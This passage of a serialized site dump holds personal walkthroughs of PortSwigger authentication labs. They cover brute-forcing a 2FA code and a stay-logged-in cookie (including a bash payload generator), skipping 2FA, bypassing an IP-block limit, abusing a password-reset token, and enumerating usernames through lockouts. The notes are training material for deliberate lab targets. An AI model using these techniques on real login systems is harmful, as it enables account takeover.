",[37,3594,3595],{},"mfa-code=§pwd§",[33,3597,3598],{},"We launch the attack.",[15,3600,3601,3602,3605],{},"We look for the 302 redirect. We got the code — ",[37,3603,3604],{},"0314",". We send the request:",[142,3607,3610],{"className":3608,"code":3609,"language":147},[145],"POST \u002Flogin2\nCookie: session=MAEXN9XadoWSU7iCsN4RFiE6GEQnk1hs; verify=carlos\n\nmfa-code=0314\n",[37,3611,3609],{"__ignoreMap":87},[15,3613,3614,3615,3618],{},"The response is 302 with a new cookie. We take the ",[37,3616,3617],{},"session"," cookie, swap it in our browser, refresh the page.",[15,3620,246],{},{"title":87,"searchDepth":88,"depth":88,"links":3622},[3623,3624],{"id":120,"depth":88,"text":121},{"id":134,"depth":88,"text":135,"children":3625},[3626,3627,3628],{"id":139,"depth":253,"text":140},{"id":2056,"depth":253,"text":2057},{"id":1505,"depth":253,"text":1506},"2026-05-20","Swapping the verify cookie to trigger a 2FA code for another user, then brute-forcing the 4-digit code in Intruder.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002F2fa-broken-logic",{"title":3468,"description":3630},{"loc":3632},"notes\u002Fpentesting\u002Fportswigger\u002F2fa-broken-logic",[264,2951,269],"1h 20m","0IcvCFHvWPvB9-FktCOAWp3irK77ovCSttUeQkfZM-M",{"id":3640,"title":3641,"author":6,"body":3642,"date":3629,"description":3891,"difficulty":257,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":3892,"navigation":96,"notes":93,"path":3893,"psTitle":3656,"seo":3894,"sitemap":3895,"stem":3896,"tags":3897,"timeSpent":3637,"type":106,"__hash__":3898},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fbrute-forcing-a-stay-logged-in-cookie.md","Brute-forcing a Stay-Logged-In Cookie (PortSwigger Lab)",{"type":8,"value":3643,"toc":3883},[3644,3648,3650,3657,3659,3661,3667,3669,3674,3676,3679,3685,3694,3703,3709,3715,3725,3737,3743,3757,3760,3863,3869,3872,3878,3880],[11,3645,3647],{"id":3646},"brute-forcing-a-stay-logged-in-cookie","Brute-forcing a Stay-Logged-In Cookie",[19,3649,121],{"id":120},[15,3651,3652,131],{},[125,3653,3656],{"href":3654,"rel":3655},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fauthentication\u002Fother-mechanisms\u002Flab-brute-forcing-a-stay-logged-in-cookie",[129],"Brute-forcing a stay-logged-in cookie",[19,3658,135],{"id":134},[137,3660,140],{"id":139},[142,3662,3665],{"className":3663,"code":3664,"language":147},[145],"This lab allows users to stay logged in even after they close their browser session. The cookie used to provide this functionality is vulnerable to brute-forcing.\n\nTo solve the lab, brute-force Carlos's cookie to gain access to his My account page.\n\nYour credentials: wiener:peter\nVictim's username: carlos\nCandidate passwords\n",[37,3666,3664],{"__ignoreMap":87},[137,3668,2057],{"id":2056},[15,3670,3671,3672,524],{},"The site has a \"stay logged\" mechanism whose cookie is vulnerable to brute-forcing. We have an account on the site, so we'll look at how the mechanism works and run a brute-force attack against user ",[37,3673,2505],{},[137,3675,1506],{"id":1505},[15,3677,3678],{},"We go to the site, there's a login form. Username and password, there's a \"Stay logged in\" checkbox — we tick it. We log in, a POST login request:",[142,3680,3683],{"className":3681,"code":3682,"language":147},[145],"Set-Cookie: stay-logged-in=d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw; Expires=Wed, 01 Jan 3000 01:00:00 UTC\nSet-Cookie: session=XaXGwGwLG5aeRpAyJZfClJJuAMavi7ll; Secure; HttpOnly; SameSite=None\n",[37,3684,3682],{"__ignoreMap":87},[15,3686,3687,3688,3690,3691,524],{},"We see that the ",[37,3689,2989],{}," cookie is stored indefinitely. And it's not protected from JS access at all. If you select the cookie value, Inspector shows the Base64-decoded string by default, which looks like ",[37,3692,3693],{},"wiener:51dc30ddc473d43a6011e9ebba6ca770",[15,3695,3696,3697,3699,3700,524],{},"Obviously the first part is the username, and the second looks like a password hash. The only question is what it's a hash of — the password or something else. As a start, we can just try computing MD5 of password ",[37,3698,2998],{}," — ",[37,3701,3702],{},"peter",[15,3704,3705,3706,212],{},"In the terminal ",[37,3707,3708],{},"echo -n 'peter' | md5sum",[142,3710,3713],{"className":3711,"code":3712,"language":147},[145],"51dc30ddc473d43a6011e9ebba6ca770\n",[37,3714,3712],{"__ignoreMap":87},[15,3716,3717,3718,3721,3722,3724],{},"Match! That means we can build a dictionary brute-force attack. We can fire requests at ",[37,3719,3720],{},"GET \u002Fmy-account?id=carlos",", having pre-constructed the ",[37,3723,2989],{}," cookie.",[15,3726,3727,3728,3730,3731,3733,3734,3736],{},"First let's see how this route behaves if we drop the ",[37,3729,3617],{}," cookie and keep only ",[37,3732,2989],{},". It returned 200, and a ",[37,3735,3617],{}," cookie was set.",[15,3738,3739,3740,3742],{},"OK, and now with no cookies at all — in that case it returns 302 and redirects to login. We drop the request into Intruder, remove the ",[37,3741,3617],{}," cookie, set a variable in the cookie value. What shape will the value have?",[335,3744,3745,3748,3754],{},[33,3746,3747],{},"Take MD5 of the candidate password — we were given 100 of them.",[33,3749,3750,3751,524],{},"Build the string ",[37,3752,3753],{},"carlos:MD5_password",[33,3755,3756],{},"Base64-encode the resulting string.",[15,3758,3759],{},"Let's write a bash script to generate the payload list:",[142,3761,3763],{"className":1044,"code":3762,"language":1046,"meta":87,"style":87},"while read -r pass; do\n  hash=$(echo -n \"$pass\" | md5sum | awk '{print $1}')\n  echo -n \"carlos:$hash\" | base64\ndone \u003C passwords.txt > payloads.txt\n",[37,3764,3765,3785,3827,3847],{"__ignoreMap":87},[313,3766,3767,3770,3773,3776,3779,3782],{"class":315,"line":316},[313,3768,3769],{"class":761},"while",[313,3771,3772],{"class":808}," read",[313,3774,3775],{"class":808}," -r",[313,3777,3778],{"class":771}," pass",[313,3780,3781],{"class":748},"; ",[313,3783,3784],{"class":761},"do\n",[313,3786,3787,3790,3792,3795,3798,3801,3804,3807,3810,3813,3816,3818,3821,3824],{"class":315,"line":88},[313,3788,3789],{"class":748},"  hash",[313,3791,3037],{"class":761},[313,3793,3794],{"class":748},"$(",[313,3796,3797],{"class":808},"echo",[313,3799,3800],{"class":808}," -n",[313,3802,3803],{"class":771}," \"",[313,3805,3806],{"class":748},"$pass",[313,3808,3809],{"class":771},"\"",[313,3811,3812],{"class":761}," |",[313,3814,3815],{"class":795}," md5sum",[313,3817,3812],{"class":761},[313,3819,3820],{"class":795}," awk",[313,3822,3823],{"class":771}," '{print $1}'",[313,3825,3826],{"class":748},")\n",[313,3828,3829,3832,3834,3837,3840,3842,3844],{"class":315,"line":253},[313,3830,3831],{"class":808},"  echo",[313,3833,3800],{"class":808},[313,3835,3836],{"class":771}," \"carlos:",[313,3838,3839],{"class":748},"$hash",[313,3841,3809],{"class":771},[313,3843,3812],{"class":761},[313,3845,3846],{"class":795}," base64\n",[313,3848,3849,3852,3855,3858,3860],{"class":315,"line":780},[313,3850,3851],{"class":761},"done",[313,3853,3854],{"class":761}," \u003C",[313,3856,3857],{"class":748}," passwords.txt ",[313,3859,3101],{"class":761},[313,3861,3862],{"class":748}," payloads.txt\n",[15,3864,3865,3866,524],{},"We drop the candidate passwords from PortSwigger into ",[37,3867,3868],{},"passwords.txt",[15,3870,3871],{},"We feed the payloads into Intruder. A 200 came back for the payload:",[142,3873,3876],{"className":3874,"code":3875,"language":147},[145],"Cookie: stay-logged-in=Y2FybG9zOjIxYjcyYzBiN2FkYzVjN2I0YTUwZmZjYjkwZDkyZGQ2\n",[37,3877,3875],{"__ignoreMap":87},[15,3879,246],{},[361,3881,3882],{},"html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":87,"searchDepth":88,"depth":88,"links":3884},[3885,3886],{"id":120,"depth":88,"text":121},{"id":134,"depth":88,"text":135,"children":3887},[3888,3889,3890],{"id":139,"depth":253,"text":140},{"id":2056,"depth":253,"text":2057},{"id":1505,"depth":253,"text":1506},"Decoding the stay-logged-in cookie format as base64(username:md5(password)) and brute-forcing it in Intruder against the candidate password list.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fbrute-forcing-a-stay-logged-in-cookie",{"title":3641,"description":3891},{"loc":3893},"notes\u002Fpentesting\u002Fportswigger\u002Fbrute-forcing-a-stay-logged-in-cookie",[264,2951,269],"9dT5tKTT1SRISpui5ACaOrFL0tj3gcYpiLypzmQW_Ic",{"id":3900,"title":3901,"author":6,"body":3902,"date":3977,"description":3978,"difficulty":452,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":3979,"navigation":96,"notes":93,"path":3980,"psTitle":3916,"seo":3981,"sitemap":3982,"stem":3983,"tags":3984,"timeSpent":459,"type":106,"__hash__":3985},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger\u002F2fa-simple-bypass.md","2FA Simple Bypass (PortSwigger Lab)",{"type":8,"value":3903,"toc":3969},[3904,3908,3910,3917,3919,3921,3927,3929,3932,3934,3944,3950,3960,3966],[11,3905,3907],{"id":3906},"_2fa-simple-bypass","2FA Simple Bypass",[19,3909,121],{"id":120},[15,3911,3912,399],{},[125,3913,3916],{"href":3914,"rel":3915},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fauthentication\u002Fmulti-factor\u002Flab-2fa-simple-bypass",[129],"2FA simple bypass",[19,3918,135],{"id":134},[137,3920,140],{"id":139},[142,3922,3925],{"className":3923,"code":3924,"language":147},[145],"This lab's two-factor authentication can be bypassed. You have already obtained a valid username and password, but do not have access to the user's 2FA verification code. To solve the lab, access Carlos's account page.\n\nYour credentials: wiener:peter\nVictim's credentials: carlos:montoya\n",[37,3926,3924],{"__ignoreMap":87},[137,3928,2057],{"id":2056},[15,3930,3931],{},"We have a site with a vulnerable 2FA. We've been given creds, we need to bypass 2FA. Judging by the title — the protection bypasses easily, and we'll be able to skip the verification step.",[137,3933,1506],{"id":1505},[15,3935,3936,3937,3940,3941,3943],{},"We go in and log in as ",[37,3938,3939],{},"wiener \u002F peter",". We land on the ",[37,3942,3517],{}," page. We're asked to enter a code from email. We enter it. Then a redirect to:",[142,3945,3948],{"className":3946,"code":3947,"language":147},[145],"https:\u002F\u002F0ae4007204d3adac80a45d900033006c.web-security-academy.net\u002Fmy-account?id=wiener\n",[37,3949,3947],{"__ignoreMap":87},[15,3951,3952,3953,3955,3956,3959],{},"Let's try to skip this check for ",[37,3954,2505],{}," by replacing the user ",[37,3957,3958],{},"id",". After logging in, we don't try to enter the code and instead go straight to:",[142,3961,3964],{"className":3962,"code":3963,"language":147},[145],"https:\u002F\u002F0ae4007204d3adac80a45d900033006c.web-security-academy.net\u002Fmy-account?id=carlos\n",[37,3965,3963],{"__ignoreMap":87},[15,3967,3968],{},"Lab solved.",{"title":87,"searchDepth":88,"depth":88,"links":3970},[3971,3972],{"id":120,"depth":88,"text":121},{"id":134,"depth":88,"text":135,"children":3973},[3974,3975,3976],{"id":139,"depth":253,"text":140},{"id":2056,"depth":253,"text":2057},{"id":1505,"depth":253,"text":1506},"2026-05-18","Skipping the 2FA code step and going straight to \u002Fmy-account?id=carlos.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002F2fa-simple-bypass",{"title":3901,"description":3978},{"loc":3980},"notes\u002Fpentesting\u002Fportswigger\u002F2fa-simple-bypass",[264,2951,269],"FaK48t0Ci2RiUVKqU90pxvK_iwSD8WM31PlcXRRQ5qk",{"id":3987,"title":3988,"author":6,"body":3989,"date":3977,"description":4164,"difficulty":257,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":4165,"navigation":96,"notes":93,"path":4166,"psTitle":4003,"seo":4167,"sitemap":4168,"stem":4169,"tags":4170,"timeSpent":270,"type":106,"__hash__":4171},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fbroken-bruteforce-protection-ip-block.md","Broken Brute-Force Protection, IP Block (PortSwigger Lab)",{"type":8,"value":3990,"toc":4156},[3991,3995,3997,4004,4006,4008,4014,4016,4019,4021,4024,4030,4055,4058,4082,4093,4099,4102,4115,4121,4124,4130,4133,4136,4139,4151,4153],[11,3992,3994],{"id":3993},"broken-brute-force-protection-ip-block","Broken Brute-Force Protection, IP Block",[19,3996,121],{"id":120},[15,3998,3999,131],{},[125,4000,4003],{"href":4001,"rel":4002},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fauthentication\u002Fpassword-based\u002Flab-broken-bruteforce-protection-ip-block",[129],"Broken brute-force protection, IP block",[19,4005,135],{"id":134},[137,4007,140],{"id":139},[142,4009,4012],{"className":4010,"code":4011,"language":147},[145],"This lab is vulnerable due to a logic flaw in its password brute-force protection. To solve the lab, brute-force the victim's password, then log in and access their account page.\n\nYour credentials: wiener:peter\nVictim's username: carlos\nCandidate passwords\n",[37,4013,4011],{"__ignoreMap":87},[137,4015,2057],{"id":2056},[15,4017,4018],{},"We have a site vulnerable to brute-force, protection — IP block. We've been given valid creds for access, and there's a username to brute-force the password for.",[137,4020,1506],{"id":1505},[15,4022,4023],{},"Let's look at how the login function works on the site:",[142,4025,4028],{"className":4026,"code":4027,"language":147},[145],"POST \u002Flogin\nusername=carlos&password=test\n",[37,4029,4027],{"__ignoreMap":87},[142,4031,4033],{"className":3020,"code":4032,"language":3022,"meta":87,"style":87},"\u003Cp class=is-warning>Incorrect password\u003C\u002Fp>\n",[37,4034,4035],{"__ignoreMap":87},[313,4036,4037,4039,4041,4043,4045,4048,4051,4053],{"class":315,"line":316},[313,4038,749],{"class":748},[313,4040,15],{"class":752},[313,4042,3034],{"class":795},[313,4044,3037],{"class":748},[313,4046,4047],{"class":771},"is-warning",[313,4049,4050],{"class":748},">Incorrect password\u003C\u002F",[313,4052,15],{"class":752},[313,4054,756],{"class":748},[15,4056,4057],{},"Made 2 more attempts. On the third:",[142,4059,4061],{"className":3020,"code":4060,"language":3022,"meta":87,"style":87},"\u003Cp class=is-warning>You have made too many incorrect login attempts. Please try again in 1 minute(s).\u003C\u002Fp>\n",[37,4062,4063],{"__ignoreMap":87},[313,4064,4065,4067,4069,4071,4073,4075,4078,4080],{"class":315,"line":316},[313,4066,749],{"class":748},[313,4068,15],{"class":752},[313,4070,3034],{"class":795},[313,4072,3037],{"class":748},[313,4074,4047],{"class":771},[313,4076,4077],{"class":748},">You have made too many incorrect login attempts. Please try again in 1 minute(s).\u003C\u002F",[313,4079,15],{"class":752},[313,4081,756],{"class":748},[15,4083,4084,4085,4087,4088,4090,4091,524],{},"Let's check the server's behavior if we make 2 failed attempts and then log in successfully with ",[37,4086,3939],{},". Drop 2 requests into Repeater: one for user ",[37,4089,2505],{},", the other for ",[37,4092,2998],{},[15,4094,4095,4096,4098],{},"We do 2 guesses — all ok, send the login for ",[37,4097,2998],{}," — all ok. We do 2 more guesses — all ok, no block.",[15,4100,4101],{},"Now we have an implementation plan: 2 password guess attempts, then a successful login — and repeat until we've checked all possible passwords.",[15,4103,4104,4105,4108,4109,4111,4112,4114],{},"Let's prepare 2 lists in any editor. Into the first we'll put all the passwords from the provided list (100). In the second we'll sequentially add ",[37,4106,4107],{},"carlos, carlos, carlos, wiener",". We'll load these 2 lists into Intruder, so we need them to match. So at the ",[37,4110,2998],{}," position in the second list, in the first we need to insert his actual password — ",[37,4113,3702],{},". The lists end up looking like:",[142,4116,4119],{"className":4117,"code":4118,"language":147},[145],"carlos\ncarlos\ncarlos\nwiener\ncarlos\ncarlos\ncarlos\nwiener\ncarlos\ncarlos\ncarlos\nwiener\ncarlos\ncarlos\ncarlos\nwiener\ncarlos\ncarlos\ncarlos\nwiener\ncarlos\ncarlos\ncarlos\nwiener\ncarlos\ncarlos\ncarlos\nwiener\ncarlos\ncarlos\ncarlos\nwiener\ncarlos\ncarlos\ncarlos\nwiener\ncarlos\ncarlos\ncarlos\nwiener\ncarlos\ncarlos\ncarlos\nwiener\ncarlos\ncarlos\ncarlos\nwiener\ncarlos\ncarlos\ncarlos\nwiener\ncarlos\ncarlos\ncarlos\nwiener\ncarlos\ncarlos\ncarlos\nwiener\ncarlos\ncarlos\ncarlos\nwiener\ncarlos\ncarlos\ncarlos\nwiener\ncarlos\ncarlos\ncarlos\nwiener\ncarlos\ncarlos\ncarlos\nwiener\ncarlos\ncarlos\ncarlos\nwiener\ncarlos\ncarlos\ncarlos\nwiener\ncarlos\ncarlos\ncarlos\nwiener\ncarlos\ncarlos\ncarlos\nwiener\ncarlos\ncarlos\ncarlos\nwiener\ncarlos\ncarlos\ncarlos\nwiener\ncarlos\ncarlos\ncarlos\nwiener\ncarlos\ncarlos\ncarlos\nwiener\ncarlos\ncarlos\ncarlos\nwiener\ncarlos\ncarlos\ncarlos\nwiener\ncarlos\ncarlos\ncarlos\nwiener\ncarlos\ncarlos\ncarlos\nwiener\ncarlos\ncarlos\ncarlos\nwiener\ncarlos\ncarlos\ncarlos\nwiener\n",[37,4120,4118],{"__ignoreMap":87},[15,4122,4123],{},"And the passwords:",[142,4125,4128],{"className":4126,"code":4127,"language":147},[145],"123456\npassword\n12345678\npeter\nqwerty\n123456789\n12345\npeter\n1234\n111111\n1234567\npeter\ndragon\n123123\nbaseball\npeter\nabc123\nfootball\nmonkey\npeter\nletmein\nshadow\nmaster\npeter\n666666\nqwertyuiop\n123321\npeter\nmustang\n1234567890\nmichael\npeter\n654321\nsuperman\n1qaz2wsx\npeter\n7777777\n121212\n000000\npeter\nqazwsx\n123qwe\nkiller\npeter\ntrustno1\njordan\njennifer\npeter\nzxcvbnm\nasdfgh\nhunter\npeter\nbuster\nsoccer\nharley\npeter\nbatman\nandrew\ntigger\npeter\nsunshine\niloveyou\n2000\npeter\ncharlie\nrobert\nthomas\npeter\nhockey\nranger\ndaniel\npeter\nstarwars\nklaster\n112233\npeter\ngeorge\ncomputer\nmichelle\npeter\njessica\npepper\n1111\npeter\nzxcvbn\n555555\n11111111\npeter\n131313\nfreedom\n777777\npeter\npass\nmaggie\n159753\npeter\naaaaaa\nginger\nprincess\npeter\njoshua\ncheese\namanda\npeter\nsummer\nlove\nashley\npeter\nnicole\nchelsea\nbiteme\npeter\nmatthew\naccess\nyankees\npeter\n987654321\ndallas\naustin\npeter\nthunder\ntaylor\nmatrix\npeter\nmobilemail\nmom\nmonitor\npeter\nmonitoring\nmontana\nmoon\npeter\nmoscow\n",[37,4129,4127],{"__ignoreMap":87},[15,4131,4132],{},"That didn't work :) I made 3 guess attempts in a row here — need to redo: 2 attempts, then a successful login. Let's fix the lists.",[15,4134,4135],{},"But the block still happens…",[15,4137,4138],{},"Ah, damn, I need to set in the settings that 1 request is sent at a time, without parallelization, that's why we kept getting blocked — we need to send requests sequentially, one after another. And I also needed to fix request #0, since it was going out with a wrong password and breaking our attack flow (we ended up in the block).",[15,4140,4141,4142,4145,4146,3699,4148,524],{},"Let's sort the attack results by response code — ",[37,4143,4144],{},"302",". We find the payload with ",[37,4147,2505],{},[37,4149,4150],{},"carlos \u002F 121212",[15,4152,3968],{},[361,4154,4155],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":87,"searchDepth":88,"depth":88,"links":4157},[4158,4159],{"id":120,"depth":88,"text":121},{"id":134,"depth":88,"text":135,"children":4160},[4161,4162,4163],{"id":139,"depth":253,"text":140},{"id":2056,"depth":253,"text":2057},{"id":1505,"depth":253,"text":1506},"Brute-forcing the password for carlos while bypassing IP-block protection by interleaving requests with a successful login as wiener.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fbroken-bruteforce-protection-ip-block",{"title":3988,"description":4164},{"loc":4166},"notes\u002Fpentesting\u002Fportswigger\u002Fbroken-bruteforce-protection-ip-block",[264,2951,269],"2cTUk9-NVuJJogGLvcpz9EpcjMfbDgK6vLX6uLimJ7E",{"id":4173,"title":4174,"author":6,"body":4175,"date":3977,"description":4277,"difficulty":452,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":4278,"navigation":96,"notes":93,"path":4279,"psTitle":4189,"seo":4280,"sitemap":4281,"stem":4282,"tags":4283,"timeSpent":459,"type":106,"__hash__":4284},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fpassword-reset-broken-logic.md","Password Reset Broken Logic (PortSwigger Lab)",{"type":8,"value":4176,"toc":4269},[4177,4181,4183,4190,4192,4194,4200,4202,4208,4210,4216,4222,4225,4231,4233,4239,4252,4255,4261,4267],[11,4178,4180],{"id":4179},"password-reset-broken-logic","Password Reset Broken Logic",[19,4182,121],{"id":120},[15,4184,4185,399],{},[125,4186,4189],{"href":4187,"rel":4188},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fauthentication\u002Fother-mechanisms\u002Flab-password-reset-broken-logic",[129],"Password reset broken logic",[19,4191,135],{"id":134},[137,4193,140],{"id":139},[142,4195,4198],{"className":4196,"code":4197,"language":147},[145],"This lab's password reset functionality is vulnerable. To solve the lab, reset Carlos's password then log in and access his \"My account\" page.\n\nYour credentials: wiener:peter\nVictim's username: carlos\n",[37,4199,4197],{"__ignoreMap":87},[137,4201,2057],{"id":2056},[15,4203,4204,4205,4207],{},"The password reset function on the site is vulnerable. We need to reset ",[37,4206,2505],{},"'s password and log into his account.",[137,4209,1506],{"id":1505},[15,4211,4212,4213,4215],{},"Let's see how the password change function works. We reset the password for user ",[37,4214,2998],{},". An email arrives with a link:",[142,4217,4220],{"className":4218,"code":4219,"language":147},[145],"https:\u002F\u002F0a95002d04f7b35180b3a379004c0024.web-security-academy.net\u002Fforgot-password?temp-forgot-password-token=0umvuzkyx1mfnas8tb890vwj1rjzk1ji\n",[37,4221,4219],{"__ignoreMap":87},[15,4223,4224],{},"We follow it and land on the password change page. We enter a new password, repeat it. A request flies out:",[142,4226,4229],{"className":4227,"code":4228,"language":147},[145],"POST \u002Fforgot-password?temp-forgot-password-token=0umvuzkyx1mfnas8tb890vwj1rjzk1ji\n",[37,4230,4228],{"__ignoreMap":87},[15,4232,3327],{},[142,4234,4237],{"className":4235,"code":4236,"language":147},[145],"temp-forgot-password-token=0umvuzkyx1mfnas8tb890vwj1rjzk1ji&username=wiener&new-password-1=peter&new-password-2=peter\n",[37,4238,4236],{"__ignoreMap":87},[15,4240,4241,4242,4244,4245,4244,4248,4251],{},"What if we keep this token but change ",[37,4243,2916],{},", ",[37,4246,4247],{},"new-password-1",[37,4249,4250],{},"new-password-2","?",[15,4253,4254],{},"The request body will look like:",[142,4256,4259],{"className":4257,"code":4258,"language":147},[145],"temp-forgot-password-token=0umvuzkyx1mfnas8tb890vwj1rjzk1ji&username=carlos&new-password-1=peter&new-password-2=peter\n",[37,4260,4258],{"__ignoreMap":87},[15,4262,4263,4264,524],{},"We send it — success, password changed. We log in as ",[37,4265,4266],{},"carlos \u002F peter",[15,4268,3968],{},{"title":87,"searchDepth":88,"depth":88,"links":4270},[4271,4272],{"id":120,"depth":88,"text":121},{"id":134,"depth":88,"text":135,"children":4273},[4274,4275,4276],{"id":139,"depth":253,"text":140},{"id":2056,"depth":253,"text":2057},{"id":1505,"depth":253,"text":1506},"Swapping the username in the password reset POST while keeping our own valid token, and changing another account's password.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fpassword-reset-broken-logic",{"title":4174,"description":4277},{"loc":4279},"notes\u002Fpentesting\u002Fportswigger\u002Fpassword-reset-broken-logic",[264,2951,269],"fyUFz07jiSzw7LYfl4oVX_5P0VGDFaA04pdEQHmxz1Y",{"id":4286,"title":4287,"author":6,"body":4288,"date":3977,"description":4362,"difficulty":257,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":4363,"navigation":96,"notes":93,"path":4364,"psTitle":4302,"seo":4365,"sitemap":4366,"stem":4367,"tags":4368,"timeSpent":4369,"type":106,"__hash__":4370},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fusername-enumeration-via-account-lock.md","Username Enumeration via Account Lock (PortSwigger Lab)",{"type":8,"value":4289,"toc":4354},[4290,4294,4296,4303,4305,4307,4313,4315,4318,4320,4323,4340,4346,4352],[11,4291,4293],{"id":4292},"username-enumeration-via-account-lock","Username Enumeration via Account Lock",[19,4295,121],{"id":120},[15,4297,4298,131],{},[125,4299,4302],{"href":4300,"rel":4301},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fauthentication\u002Fpassword-based\u002Flab-username-enumeration-via-account-lock",[129],"Username enumeration via account lock",[19,4304,135],{"id":134},[137,4306,140],{"id":139},[142,4308,4311],{"className":4309,"code":4310,"language":147},[145],"This lab is vulnerable to username enumeration. It uses account locking, but this contains a logic flaw. To solve the lab, enumerate a valid username, brute-force this user's password, then access their account page.\n\nCandidate usernames\nCandidate passwords\n",[37,4312,4310],{"__ignoreMap":87},[137,4314,2057],{"id":2056},[15,4316,4317],{},"The site uses brute-force protection — account locking. We need to use this trait to find an existing user and brute-force the password.",[137,4319,1506],{"id":1505},[15,4321,4322],{},"Let's see how the login function works and what an account lock looks like. In theory we can try some username that should obviously exist and find out how account locking works.",[15,4324,4325,4326,4244,4329,4244,4332,4335,4336,4339],{},"Tried 30 requests for ",[37,4327,4328],{},"admin",[37,4330,4331],{},"root",[37,4333,4334],{},"administrator",". Stable ",[37,4337,4338],{},"Invalid username or password",". No lock yet.",[15,4341,4342,4343,524],{},"Changing tactics. I make a list of usernames where each name is repeated 10 times to catch the lock-out. Let's sort attack results by response length. Here's our only candidate so far — ",[37,4344,4345],{},"americas",[15,4347,4348,4349,524],{},"Ok, now let's set up an attack on this user's password. Sort by response length. Found ",[37,4350,4351],{},"americas \u002F monkey",[15,4353,3968],{},{"title":87,"searchDepth":88,"depth":88,"links":4355},[4356,4357],{"id":120,"depth":88,"text":121},{"id":134,"depth":88,"text":135,"children":4358},[4359,4360,4361],{"id":139,"depth":253,"text":140},{"id":2056,"depth":253,"text":2057},{"id":1505,"depth":253,"text":1506},"Spamming login with usernames repeated 10 times each, catching the lock-out as a signal of an existing account.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fusername-enumeration-via-account-lock",{"title":4287,"description":4362},{"loc":4364},"notes\u002Fpentesting\u002Fportswigger\u002Fusername-enumeration-via-account-lock",[264,2951,269],"1h 10m","JEflh8OrDMLP2vhCGkKP4Rqp15ibQkFW9ncQnq17S3o",{"id":4372,"title":4373,"author":6,"body":4374,"date":3977,"description":4501,"difficulty":257,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":4502,"navigation":96,"notes":93,"path":4503,"psTitle":4388,"seo":4504,"sitemap":4505,"stem":4506,"tags":4507,"timeSpent":4508,"type":106,"__hash__":4509},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fusername-enumeration-via-response-timing.md","Username Enumeration via Response Timing (PortSwigger Lab)",{"type":8,"value":4375,"toc":4493},[4376,4380,4382,4389,4391,4393,4399,4401,4404,4406,4409,4415,4418,4424,4427,4434,4443,4449,4452,4459,4485,4491],[11,4377,4379],{"id":4378},"username-enumeration-via-response-timing","Username Enumeration via Response Timing",[19,4381,121],{"id":120},[15,4383,4384,131],{},[125,4385,4388],{"href":4386,"rel":4387},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fauthentication\u002Fpassword-based\u002Flab-username-enumeration-via-response-timing",[129],"Username enumeration via response timing",[19,4390,135],{"id":134},[137,4392,140],{"id":139},[142,4394,4397],{"className":4395,"code":4396,"language":147},[145],"This lab is vulnerable to 